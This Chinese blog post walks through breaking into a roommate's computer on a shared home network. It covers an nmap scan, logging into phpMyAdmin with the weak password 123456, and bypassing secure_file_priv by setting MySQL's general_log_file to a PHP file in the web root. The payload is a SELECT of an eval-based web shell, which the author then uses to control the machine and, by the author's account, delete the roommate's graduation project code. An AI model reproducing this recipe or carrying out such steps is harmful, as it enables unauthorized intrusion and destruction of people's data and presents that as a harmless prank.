一次phpmyadmin突破secure_file_priv写shell的渗透

晚上下闲来无事,租的公寓一共两间房,我和另外一个同学各住一间,隔壁一墙之隔的他正在打游戏,我比较爱学习,随便玩玩,就突然引发了一次简单渗透。。。 无关紧要的过程就不写了,下面简单记录下主要有用的步骤。

  • 首先nmap扫描内网发现

    发现内网里面存活的主机,不多,简单排除下,估计192.168.1.101就是隔壁室友的电脑了,发现803306端口

图片.png

  • 访问下80,如下图,最近在做毕业设计,很明显这是他的电脑,里面还有sql注入演练平台,phpMyAdminweb控制界面.

图片.png

图片.png

  • 首先手工回顾一下sql注入吧,忘得差不多了都,整个过程我就不记录了,就记录用到的如下:
  1. 获取数据库路径
1
D:\phpstudy\PHPTutorial\MySQL\data\

图片.png

  1. 获取数据库版本5.5.53

图片.png

  1. 获取当前连接数据库用户。

图片.png

  1. 获取当前数据库security

图片.png

  • 最后直接准备写webshell,看能不能拿下。

图片.png

发现由于secure_file_priv权限问题,没戏。心有不甘,继续看看吧!

  • phpmyadmin后台登录看看

图片.png

猜测密码不复杂,简单测试下,发现密码123456弱口令,然后sql语句写webshell也是一样,不能够写入如下:

图片.png

  • 下面就是本次记录的关键地方了
  1. 查看secure_file_priv值,结果如下为NULL,说明不能使用loadfile,into outfile进行读写文件。
1
show global variables like 'secure_file_priv';

图片.png

  1. 接下来就是要突破这一限制,写webshell。

    1
    2
    3
    4
    5
    mysql中有两个全局变量是我们getshell需要用到的重要变量:
    general_log
    general_log_file

    general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
  2. general_log_file 就是操作日志存放的路径:
    show variables like 'general_log%';

图片.png

注:此处的操作日志路径并不是默认的,因为之前做过一遍已经将其修改了

  • 接下来就要getshell

1.首先打开操作日志记录
set global general_log = 'ON';

图片.png

图片.png

2.设置操作记录日志路径
set global general_log_file='路径地址'

1
set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'

这里我再换个目录存放操作日志,即在网站根目录

图片.png

3.执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中,就可以getshell了

1
select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'

图片.png

4.访问webshell,如下,没问题,然后上菜刀砍他!

图片.png

图片.png

图片.png

打游戏的注意了,毕业设计写的代码被删了!好好学习吧。

参考
https://c1h3ng.github.io/web/2017/11/06/phpmyadmin-getshell/

坚持原创技术分享,您的支持将鼓励我继续创作!